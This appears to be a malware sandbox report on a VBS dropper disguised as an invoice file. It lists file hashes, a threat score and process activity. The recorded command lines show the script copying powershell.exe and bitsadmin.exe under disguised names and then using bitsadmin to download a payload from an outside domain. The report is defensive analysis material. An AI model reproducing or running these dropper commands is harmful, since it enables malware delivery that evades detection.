e96c29490b415926118a9342760a5060070e9dd415aee367cca7a0e5146a45fe | Triage

Analysis

max time kernel
62s
max time network
112s
platform
windows10_x64
resource
win10
submitted
30-06-2020 11:36

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General

Target

FattDiffEmessa2020 00616840120.vbs
Size

4KB
MD5

df040acc717de01627876e0ee3fa86df
SHA1

de8d3e73eaa96d6dc3140b63808fd7fa316cdc08
SHA256

e96c29490b415926118a9342760a5060070e9dd415aee367cca7a0e5146a45fe
SHA512

9f563b9eea761dd6ef02db008a130ac207b2e610067489a29dac9f918cdda9ada9130e3b0e26aafb1653ded52f7080fbf2413fff3321c239db46b69839805db9

Score

8^/10

Malware Config

Signatures

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 3832 wrote to memory of 3864	3832	WScript.exe	cmd.exe
PID 3832 wrote to memory of 3864	3832	WScript.exe	cmd.exe
PID 3832 wrote to memory of 1736	3832	WScript.exe	cmd.exe
PID 3832 wrote to memory of 1736	3832	WScript.exe	cmd.exe
PID 3832 wrote to memory of 2776	3832	WScript.exe	uccBtRT.exe
PID 3832 wrote to memory of 2776	3832	WScript.exe	uccBtRT.exe
PID 3832 wrote to memory of 2776	3832	WScript.exe	uccBtRT.exe

Executes dropped EXE 1 IoCs

Processes:

uccBtRT.exe

pid process

2776 uccBtRT.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FattDiffEmessa2020 00616840120.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3832

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\puccBtRT.exe
2⤵
PID:3864

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\bitsadmin.exe C:\Users\Admin\AppData\Roaming\uccBtRT.exe
2⤵
PID:1736

C:\Users\Admin\AppData\Roaming\uccBtRT.exe
"C:\Users\Admin\AppData\Roaming\uccBtRT.exe" /transfer najtec /download https://nowyouknowent.com/werdona/00616840120/blank.css C:\Users\Admin\AppData\Roaming\blank.css
2⤵
- Executes dropped EXE
PID:2776

Network

MITRE ATT&CK Matrix

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Downloads

C:\Users\Admin\AppData\Roaming\uccBtRT.exe

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C:\Users\Admin\AppData\Roaming\uccBtRT.exe

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memory/1736-1-0x0000000000000000-mapping.dmp

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memory/2776-3-0x0000000000000000-mapping.dmp

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memory/3864-0-0x0000000000000000-mapping.dmp

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